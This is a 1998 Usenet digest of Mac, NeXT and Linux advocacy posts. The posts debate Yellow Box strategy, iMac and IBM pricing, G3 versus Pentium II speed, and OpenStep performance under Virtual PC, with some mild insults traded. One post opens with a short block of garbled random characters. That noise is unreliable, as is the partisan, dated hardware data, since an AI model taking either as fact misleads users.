> like Barksdale would probably find it quite obvious that Linux and Mac
> working together with a "vision" would be a serious contender against
> M$.
Can you provide any evidence that Linux + YB would work any better than BSD
+ YB? Linux is not magical, it's just a kernel. What _exactly_ does this
get them other than free PR? It's not like Apple's having any problems in
the PR department these days.
Maury
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: iMac's Competition
Date: 28 Aug 1998 18:12:37 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6s6rul$m56@newsb.netnews.att.com>
References: <35E5B9B8.D3ABD955@ericsson.com> <6s4jnr$gtm@newsb.netnews.att.com> <35E5E1EF.899B5757@ericsson.com>
Originator: gupta@tlctest
At www.warehouse.com, the IBM Aptiva E4N (the new model that
Michael Peck was talking about, with the K6-2/350 MHz CPU)
sells for $1,739.00 with a 17 inch monitor and $1,539 with a
15 inch monitor.
www.jandr.com do not yet have the IBM Aptiva E4N.
The E3N (K6-2/300 MHz, 6GB HD, 2MB video ram) without monitor
sells for $1000. (The E4N has K6-2/350 MHz, 8GB HD, 4MB video ram).
www.compusa.com do not yet have the IBM Aptiva E4N.
The E3N with a 15 inch monitor, 13.6 viewable sells for $1300.
-arun gupta
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 28 Aug 1998 13:42:13 -0500
Organization: Ericsson North America Inc.
Message-ID: <35E6FA05.400E56B0@ericsson.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1E5BD.573CEBAB@ericsson.com>
<6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com>
<6s1nq7$9mj@newsb.netnews.att.com> <35E46BAA.2C74EA52@ericsson.com>
<6s2jb0$oqh@news1.panix.com> <35E5B233.FC15155E@ericsson.com>
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Maury Markowitz wrote:
> > This is what makes MacOS floppies unusable.
>
> Now how do you propose to pretend you didn't make this statement?
I did make that statement. I didn't make the statement you previously
quoted. Please, don't waste my time with this.
You claimed that I said:
> That floppies are "unusable"? No they don't.
I am quite sure that a man of your intellectual capabilities will note
the difference, and be more careful when quoting in the future.
[reassuring pat]
> > Name calling? Where?
>
> "a bitter and vindictive man"
No, sorry. This is "name calling":
Hey, Bitter Man, you Vindictive Shrew, go get yourself some
psychological help; you're obviously so wrapped up in your personal
Macintosh fantasy that you can't see right from wrong.
If I say "Maury is a tremendously honest and valuable person", have I
engaged in name calling? Here's a hint: don't confuse pejoratives with
name calling. Call a spade a spade, just don't go mixing yourself up so
embarassingly. It's a waste of both our time to have to sort these
things out.
> > And where do you get off accusing me of name
> > calling, Maury?
>
> Apparently the same place "you get off". Actually, I don't want to know
> where you get off.
Now you're scaring me. Sexual dysfunction isn't a proper topic for
conversation here.
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Fri, 28 Aug 1998 13:46:20 -0500
Organization: Ericsson North America Inc.
Message-ID: <35E6FAFB.ACF6565B@ericsson.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net> <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.404CD486@ericsson.com> <6s2jb1$oqh@news1.panix.com> <35E5829C.A0EF432A@ericsson.com> <6s58r0$7k0@news1.panix.com> <35E6D2D8.328DB4FA@ericsson.com> <6s6rqs$fud@news1.panix.com>
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Sal Denaro wrote:
[cut]
> YB has little, if any, installed base on Apple hardware. Apple tried to
> get people to port from MacOS to YB (Remember latitude?) and they were
> under underwhelmed.
Speaking of underwhelmed, this is still basically the case with Apple's
supposed efforts to encourage YB development. At any rate, people
weren't underwhelmed by Apple's little trick concerning YB/MacOS
development. They were given the decision to either develop for YB or
forget the Macintosh. I hope you weren't surprised by the results.
> Huh? I'm pretty sure *you* said otherwise earlier in the thread.
Then find it.
> Didn't
> you say that apple should ship YB for xyz platforms ASAP and get out of
> the hardware business?
Yes, I did say that. I never said that the process must be complete
tomorrow. In fact, that goes against basically everything I've been
saying, and confirms my suspicion that you've not actually been reading
anything I've said. Just looking for a fight to pick, I suppose.
MJP
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 28 Aug 1998 19:47:25 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6s71gd$mk5@newsb.netnews.att.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E6D472.88368396@ericsson.com> <6s6t0m$m6s@newsb.netnews.att.com> <35E6FD3D.CF960677@ericsson.com>
Originator: gupta@tlctest
Michael Peck <Michael.Peck@ericsson.com> wrote:
> [snip]
[I don't see anything interesting but the following ]
>> [Me]
>> Likewise, your experience does not generalize to the set of Macintosh
>> users, the vast majority of whom have absolutely no problems with
>> floppies or other removable media on the Macintosh.
>
> [MJP]
>
>The more moralistic you get, the worse you sound. My own father is an
>avid Macintosh user, and he often asks me for help, which I gladly give.
Moralistic ??? I don't think there was anything to do with
"standards of right or good conduct" or "ideas related to do with
right and wrong conduct" in anything that I posted (that is what
I understand by morality). Perhaps our English is from different
planets.
All that I was saying is that generalizing from an individual
experience to a whole population can lead to an illogical
conclusion. ( It doesn't always, for example, your experience that
the sun rises in the east is likely to be matched by most people. )
Your experience with Macintosh floppies is not generalizable.
And it is not that people are lying, head in sand, etc.
However, there is nothing moral or immoral in making a mistake
in reasoning, nor was I making any such judgment.
-arun gupta
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 28 Aug 1998 15:16:22 -0500
Organization: Ericsson North America Inc.
Message-ID: <35E71016.9EE361D@ericsson.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E6D472.88368396@ericsson.com> <6s6t0m$m6s@newsb.netnews.att.com> <35E6FD3D.CF960677@ericsson.com> <6s71gd$mk5@newsb.netnews.att.com>
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
> [I don't see anything interesting but the following ]
This is another major difference between you and me, Arun. By and large
I respond to the entirety of a person's posting, generally because I
trust that if they said it there was a good reason behind it. When I do
ignore part of a posting, it's usually because that part was irrelevant
or closed out, not because it was indicting or difficult to refute. "Oh,
it's not interesting..."
> >The more moralistic you get, the worse you sound. My own father is an
> >avid Macintosh user, and he often asks me for help, which I gladly give.
>
> Moralistic ??? I don't think there was anything to do with
> "standards of right or good conduct" or "ideas related to do with
> right and wrong conduct" in anything that I posted (that is what
> I understand by morality). Perhaps our English is from different
> planets.
You said:
> Likewise, your experience does not generalize to the set of Macintosh
> users, the vast majority of whom have absolutely no problems with
> floppies or other removable media on the Macintosh.
This is an implicit criticism of "right and wrong conduct". Hey, here's
an idea: when you play semantics, make sure you know what you're doing,
and make sure your own posted definitions don't bear out your opponent's
position.
> All that I was saying is that generalizing from an individual
> experience to a whole population can lead to an illogical
> conclusion. ( It doesn't always, for example, your experience that
> the sun rises in the east is likely to be matched by most people. )
> Your experience with Macintosh floppies is not generalizable.
> And it is not that people are lying, head in sand, etc.
> However, there is nothing moral or immoral in making a mistake
> in reasoning, nor was I making any such judgment.
What are you talking about?
MJP
From: lars@gsblas.uchicago.edu (Lars A. Stole)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Installing Openstep 4.0 on Virtual PC
Date: 27 Aug 1998 18:26:41 GMT
Organization: Northwestern University, Evanston, IL, US
Message-ID: <6s48d1$suu@news.acns.nwu.edu>
References: <6s2kak$jk4$1@news.tamu.edu> <35E47C10.7BA@earthlink.net> <6s3erc$cmi$1@sun27.hrz.tu-darmstadt.de>
Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam> wrote:
>Steve Kellener <skellener@earthlink.net> wrote:
>>Hans,
>>
>>I hope you have better luck than me. It will indeed install and run.
>>However, it will most likely wind up a useless partiion on your drive.
>>To be honest, I don't remember the exact drivers needed but they were
>>two screens past the first list of drivers on the install.
>>
>>I installed VPC on my 9500/132 when it came out a long time ago. Once I
>>got the right drivers, it installed, and installed, and installed. It
>>took a very long time with the 4X CD-ROM. Once installed though it did
>>run......EXTREMELY SLOW!! Too slow to use. I would imagine your G3
>>will yield better results (hopefully significantly better). One note,
>
>While I don't have a G3 machine myself (yet), I've recently seen
>OPENSTEP under VPC on a G3 Powerbook, and was quite amazed. It
>feels and benchmarks like a Pentium 90, and I found it quite
>usable. I wouldn't want to do development on it, but apart from
>that, I think it's perfect. Tomi Engel has this configuration
>as his main machine, and has written an article on the topic
>in the upcoming issue of NEXTTOYOU.
>
My setup: I have installed Openstep 4.2 on a Powerbook G3 292Mhz with 192 MB
RAM. I believe I selected option 5 for the drive controllers (this is from
Connectix's manual/web page on the subject; dual EIDE?). After that, I selected
the 2MB #9 video card with 256 collors at 70 MHz. I used 64 MB RAM (the max
that you can use uner VPC v.2.0).
In this thread there are several perceptions which people have shared that are
inconcsistent with my experiences.
(1). You are indeed PARTIALLY isolated with Openstep on VPC. You cannot use
file sharing as you can in Windows/VPC. You CAN use openstep floppies in the
Mac floppy drive (at least on a Wallstreet Powerbook). In this sense, you are
not completely isolated. You can also attach a DOS drive as a second drive and
copy over 100s of megabytes of files via drive D. Note, you have to turn off
VPC to copy files into a harddrive image, so this is not a great fix, but it
works for the initial install when you want to tranfers a gigabyte of apps,
etc., like I did.
(2). The Connetrix guy I spoke with in techincal support was sincerely
interested in helping me to get Openstep to work well with VPC. They obviously
are not going to dedicate a lot of programming time to get it running well, but
there are people at Connectix who have put openstep on a G3 and who do care.
(3). I have had disappointing perfromance from my setup. Using NXBench I get
an NXFactor of .77 (NX=1 for Nextslabs running at 25Mhz). The underlying
CPU-intensive stuff is not a problem (Mathematica under Openstep via VPC is
decent and at the speed of a mid-range pentium.) The display, however, is
terribly slow. It is not even close to a Pentium 90Mhz!. IT is certainly less
than half the speed (in terms of display) of my old NEC 75Mhz laptop, which I
find very useable. I am not sure what benchmark Christian is refering to when
he says the machine he saw benchmarked at the speed of a 90Mhz penitum, but I
would say my setup feels like an old Next cube. Maybe I'm not tweaking the
system correctly to get full performance. If this is the case, someone please
tell me what I can do.
I have abandoned my use of Openstep on VPC -- at least until MacOS8.5 comes
out, which is suppose to show rather remarkable improvements for VPC (30-40
percent display speed incerase). Then it may be useable. Hopefully, Mac OS X
server will be available for Wallstreet powerbooks, in which case I'll just go
that route.
(4) Windows via VPC is an impressive product. If you want to run windows
emulation on a Wallstreet powerbook, I think you'll find the speed very
acceptable.
I hope this is helpful.
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 28 Aug 1998 20:30:16 GMT
Organization: University of California at San Diego
Message-ID: <slrn6ue4qo.113.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net> <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.404CD486@ericsson.com> <6s2jb1$oqh@news1.panix.com> <slrn6u9p46.joh.jedi@dementia.mishnet> <6s3vk3$9qo@news1.panix.com> <slrn6ucs3n.kbc.kevin@frobozz.sysexperts.com> <6s6hco$30u@news1.panix.com> <slrn6ue1vs.q7o.kevin@frobozz.sysexperts.com>
On Fri, 28 Aug 1998 12:41:48 -0700, Kevin Brown <kevin@sysexperts.com> wrote:
:On 28 Aug 1998 15:12:24 GMT, Sal Denaro <sal@panix.com> wrote:
:>On Fri, 28 Aug 1998 01:55:19 -0700,
:> Kevin Brown <kevin@sysexperts.com> wrote:
:>>Umm...in terms of performance for the price, NeXT hardware got blown
:>>away by Suns back then. Initially NeXT hardware might have been
:>>reasonably competitive but it didn't stay that way for long...
:>
:>I'm pretty sure that if I dug up my old copy of Byte from that timeframe,
:>I'd be able to prove you wrong. At one point they compared a bunch of
:>Unix workstations, and while the NeXT was expensive, it was competitively
:>priced.
:
:It was...until Sun came out with the Sparcstation line. The
:Sparcstations simply ran away from the NeXTs and cost about the same.
:They also had color, if I'm not mistaken. This, I think, is why NeXTs
:didn't last.
The NeXT Cubes were excessively expensive, but their best product, the
NeXTStations and color versions were quite competitive with
Sparctation 1's in price and speed.
In my area (scientific programming) NeXT had problems in that there
was no higher-end model to go to, unlike Sun, and no standard Fortran
compiler.
And there was a longer term technical issue which was noticed by the
potential buyers---Sun (and Mips and SGI and HP) had moved to RISC
architectures which had greater long-term potential, and NeXT hadn't.
NeXT was using the same processor architecture as the "old" Suns 3's,
even though at the 68040 level, it wasn't too bad for the price. The
problem was that the 68K line stagnated there for quite a while while
RISC raced ahead and Intel caught up and surpassed it, for much less
money.
There was some marketing problems too: NeXT didn't want to sell to
"Unix workstation propeller heads". Problem is, those propeller heads
were the only kinds of people who were willing to put down cash for
$5K-$10K computers. The propeller heads recognized that NEXTSTEP was better,
but they could get along OK with SunOS. They also recognized that RISC
was better.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: 28 Aug 1998 20:38:54 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6s74gu$ms5@newsb.netnews.att.com>
Originator: gupta@tlctest
Continuing the examination of the status of Windows NT 5.0 :
the gossip-columnist R.X. Cringely, in
http://www.pbs.org/cringely/pulpit/pulpit19980820.html,
talks about NT 5.0's travails, and writes
"the NT group is short of top programmers and managers
and losing more every day. What's amiss here is that there
are major internal doubts emerging about NT 5.0 and nobody
wants to be the champion of a product that can't be made to work."
***
"But Microsoft's internal view of this, as always, is that more
cumbersome software sells new hardware which sells new software.
There is an end to this food chain, though, when some righteous
third-party swoops in with a simple and insanely great alternative.
I choose the words "insanely great" quite deliberately if you know
what I mean.
***
Cringely also says, marketing of high tech. goes in three steps :
1. Dis the competition, when you don't have product
(My example : MS in DOS days : GUIs are toys)
2. Say your stuff is as good as the competition, when you finally
have a good release
(My example : Windows is as good as Mac)
3. (desperation step) : switching to a competitive technology isn't
cost effective.
(My example : Apple, for a while, recently).
Cringely perceives MS as being in step 3. with regard to NT 5.0,
Linux, etc.
-arun gupta
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Thu, 27 Aug 1998 11:04:26 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2708981104260001@sf-usr1-38-166.dialup.slip.net>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <joe.ragosta-2708980812500001@wil49.dol.net>
In article <joe.ragosta-2708980812500001@wil49.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > In article <macghod-2308981459050001@sdn-ar-001casbarp257.dialsprint.net>,
> > macghod@concentric.net (Steve Sullivan) wrote:
> >
> > > > On Sat, 22 Aug 1998 07:16:45 -0400, joe.ragosta@dol.net (Joe Ragosta)
> > > >
> > > > >evidence is all saying the same thing--that Macs are easier to use,
> > > > >more productive, and less expensive than PCs.
> > >
> > > I have asked many times to show a study that shows a pc running openstep
> > > or linux is less productive than a mac. You never have shown a study, so
> > > stop your lies
> >
> > Dope. There isn't ENOUGH productivity software for OpenStep or Linux for
> > one to BE productive (or to run such a study). Besides, you don't want to
> > see a study between Linux and Mac OR Windows. Linux' STEEP learning
> > curve alone, would put it so far back in the running, that they'd have to
> > give it a handicap JUST TO SEE IT on the charts! Not to mention other
> > drawbacks like inability to browse mounted volumes. No, this you DO
> > NOT want to see!
>
> With one major exception.
>
> If your job is running a network or web server, Linux or OpenStep make
> perfectly suitable OSs. The productivity of these could be high enough to
> justify the high learning curve for this niche.
>
> But you're right---when talking about general business productivity, it's
> really Mac OS vs Windows since OS/2 dropped out of the picture. Linux and
> OpenStep aren't used widely enough in general desktop applications to be
> able to evaluate them.
Thank you, Joe. Now if this Brian Quinlan clown only had the insight that you
show, we could shut him up.
George Graves
>
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 27 Aug 1998 18:27:00 GMT
Organization: Primenet (602)416-7000
Message-ID: <6s48dk$acn$1@nnrp03.primenet.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net>
<6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.404CD486@ericsson.com> <6s2jb1$oqh@news1.panix.com> <slrn6u9p46.joh.jedi@dementia.mishnet> <6s3vk3$9qo@news1.panix.com>
Sal Denaro <sal@panix.com> wrote:
: > They don't necessarily have to give away the whole store
: > at once. They can be rather selective at first only releasing
: > generally what would increase market penetration for hardware
: > that benefits them and improve their mindshare.
: I think they are doing this _now_ with YellowBox on NT/95.
It is a continuing source of amusement that "_now_" is such a flexible
term in advocacy.
John
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Apple heading to obscurity?
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Cc: Michael.Peck@ericsson.com
Organization: none
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com>
<gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net>
<ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de>
<pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134>
<joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de>
<D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.404CD486@ericsson.com>
Mime-Version: 1.0
Date: Thu, 27 Aug 1998 17:37:13 GMT
In <35E46FAC.404CD486@ericsson.com> Michael Peck wrote:
> > Like I've said before--what if Apple went with Linux instead. Then it
> > could produce software that would run on both Mac and PC hardware
> > systems as well as grow as Linux grew.
>
> That makes perfect sense, from a technical perspective.
No it doesn't. How can you possibly say that? The last release of the OS
already ran on three different platforms, how would moving to Linux suddenly
make the OS capable of running the PC and the Mac when it ALREADY runs on the
PC and the Mac?
Considering NetBSD appears to be BY FAR the most portable of the OS's, and
much of what's going into OS-X is from the NetBSD effort, I'd say their
current strategy offers just as much growth potential and hardware support
and Linux can. In addition they get to use BSD tools, are freed from any
weird offshoots due to the GPL'ed parts of the current Linux releases, and
don't have to change as many of their interfaces (being BSD based now).
This is basically dumb from a technical perspective, but I've seen a
growing number of dumb posts from you lately - I rarely agreed with you in
the past, but your comments were rarely stupid. Now it's not so rare.
Maury
Message-ID: <35E59D8C.21D5@ieighty.net>
Date: Thu, 27 Aug 1998 11:55:24 -0600
From: Legacy 'Xunker' <legacy@ieighty.net>
MIME-Version: 1.0
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII (not)
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <6rk24n$q52$1@nnrp02.primenet.com> <35E38CF3.41CB9A34@geocities.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Con-Tiki wrote:
>
> I've seen a G3 350.
> I tell you, my PII266 kicks the G3 I saw.
> The G3 is faster, but Mac O/s 8 uses to much Ram.
> Windows - 4mb
What *ARE* you smoking. Sure, it will _run_, but It'll take 5 minutes
to boot. believe me, I've tried.
> Linux - 4mb
Axctually, 2.0.33 will run on 2mb
> Mac O/s 8 - 11mb
12 actually. I'm actually certain that it _would_ run on less, but that
Apple was being liberal with the spec sheet. They wanted you to be able
to get some decent performance out of it.
--
-LX "...Hello Rebel..."
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Thu, 27 Aug 1998 14:44:58 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2708981444590001@sf-usr1-9-137.dialup.slip.net>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1E5BD.573CEBAB@ericsson.com> <6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com> <6s1nq7$9mj@newsb.netnews.att.com> <gmgraves-2708981106590001@sf-usr1-38-166.dialup.slip.net> <35E5ADA7.E0EE0B35@ericsson.com>
In article <35E5ADA7.E0EE0B35@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> George Graves wrote:
>
> > What makes you think that your "first hand" anecdotal evidence is
> > in any way incontrovertible?
>
> Several things: I wasn't on drugs, I wasn't drinking, and my bias was
> desperately devoted to Apple and the Macintosh, at the time.
Do you know what the term incontrovertible means? How about non-
contestable, or beyond possible reproach. Your evidence is neither
from simply the standpoint that people here are challenging the
quality of both your data and your conclusions. Not even a nice try.
>
> But tell me, did you have in mind some way of disproving what I have
> seen with my own eyes? That would be a neat trick.
I don't. BUT, I would like to point out that just because people report
that they have seen, with their own eyes, flying saucers or angels does
not in any way prove either to be real.
George Graves
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII (not)
Date: Thu, 27 Aug 1998 14:54:51 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-2708981454510001@sdn-ar-002casbarp048.dialsprint.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <6rk24n$q52$1@nnrp02.primenet.com> <35E38CF3.41CB9A34@geocities.com> <35E5917B.4F95998@hotmail.com>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <35E5917B.4F95998@hotmail.com>, charleschuck@hotmail.com wrote:
> Con-Tiki wrote:
>
> > I've seen a G3 350.
>
> Where!?! I want one, but I don't think they yet exist. Or maybe they
> _just_ came out. At any rate, I suppose you have not.
>
> > I tell you, my PII266 kicks the G3 I saw.
>
> My G3 kicks any PII I see. And I only have a 266.
Well, since according to Apple a g3 266 is only %30 faster than a p2 266
at photoshop, and photoshop FAVORS the g3 (meaning photoshop shows more of
a speed gain for the g3 than quake, mathematica, word, excel, powerpoint,
etc), you sure must not see many pc's :P
In fact the speed advantage a g3 266 has over p2 300 is the same as a p2
300 has over a g3 233.
So in other words, anything faster than a p2 300 is going to be faster
than your g3. That includes a p2 333, a dual p2 333, a p2 350, a dual p2
350, a p2 400, a dual p2 400, a p2 450, a single cpu xeon, a dual cpu
xeon, and a quad cpu xeon.
I am not going to rag on you for using a g3, I am using a g3 myself and
wouldnt DREAM of using that crapware called windows, but the truth is the
truth.
--
Whats a nice wench like you doing in a monastery like this?
- reported oldest written Scottish, said by a clergymen to a "wench"
Date: Thu, 27 Aug 1998 09:38:03 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: CR1 beta?
Message-ID: <joe.ragosta-2708980938030001@wil49.dol.net>
References: <35E463D6.79D7@spork.niddk.nih.gov>
In article <35E463D6.79D7@spork.niddk.nih.gov>, John Kuszewski
<johnk@spork.niddk.nih.gov> wrote:
> Hi,
>
> I saw a little note on Macintouch the other day that some people
> have reported seeing betas for MacOS X Server. What's the deal
> with this? I'm an Apple developer, and I have RDR2, but I haven't
> heard anything about, much less received a CD of, CR1 beta.
You'll probably get better results by asking Apple rather than posting
this question publicly.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at:
http://www.taylor-design.com/cMacindex.html
From: 00093182@bigred.unl.edu (Josh Hesse)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: RDF Watch
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,alt.folklore.computers
Date: 27 Aug 1998 16:57:16 GMT
Organization: CANeM///Cabal Academic Network Monitoring///[tinc]
Message-ID: <6s435c$3lo@crcnis3.unl.edu>
References: <6s1psh$9so@newsb.netnews.att.com> <ckoller-ya02408000R2608981500540001@netnews.worldnet.att.net> <411F1.2324$MS.3180844@news.rdc1.sdca.home.com>
rr6013@yahoo.com wrote:
:
: Personal style aside, Gates brings more tangibles to the task. I used PC's
: from 1976 - 1984, Mac's 1984 - 1989, NeXT's 1990 - 1998 and WinXX's 1996 -
^^^^^^^^^^^
1976? I believe you may be lumping completely different platforms
together as one.
-Josh
--
Do not send mail to this account. Really.
"Talk about silly conspiracy theories..." -Wayne Schlitt in unl.general
This post (C)1998, Josh Hesse. Quoted material is (C) of the person quoted.
|ess|erb|unl|u| (Oo) MYTHOS How's my posting? 1-800-DEV-NULL
email: jh|e@h|ie.|.ed| /||\ NEW AEON .Sigfile freshness date: 6/30/98
Free Karate practices for UNL students & staff--- Just ask me.
"Ask Bill [Gates] why function code 6 (in QDOS and still
in MS-DOS more than ten years later) ends in a dollar
sign, no one in the world knows that but me"
-Gary Kildall
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: iMac's Competition
Date: Thu, 27 Aug 1998 14:55:36 -0500
Organization: Ericsson North America Inc.
Message-ID: <35E5B9B8.D3ABD955@ericsson.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
This NEWS.COM article describes a $1,300 machine from IBM that runs at
350 MHz and comes with 64 MB of memory, an 8.0 GB hard drive, and a
replaceable ATI Rage Pro Turbo (funny, eh) in a 2X AGP slot.
We used to talk about how PCs got all the attention while Macs shipped
quality and performance. It seems that iMac has truly turned the tables.
At least the IBM comes in black.
MJP
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Installing Openstep 4.0 on Virtual PC
Date: Thu, 27 Aug 1998 21:58:34 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6s4kqa$f1l$1@nnrp1.dejanews.com>
References: <6s2kak$jk4$1@news.tamu.edu> <35E47C10.7BA@earthlink.net> <6s3erc$cmi$1@sun27.hrz.tu-darmstadt.de> <6s48d1$suu@news.acns.nwu.edu>
If I can just take this from the opposite end: Supposing now that we have
MacOS X running. Can one run Windows under VPC in the Blue Box? And will that
give acceptable performance (ie comparable to what windows/VPC would be like
running under MacOS on the same hardware)?
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
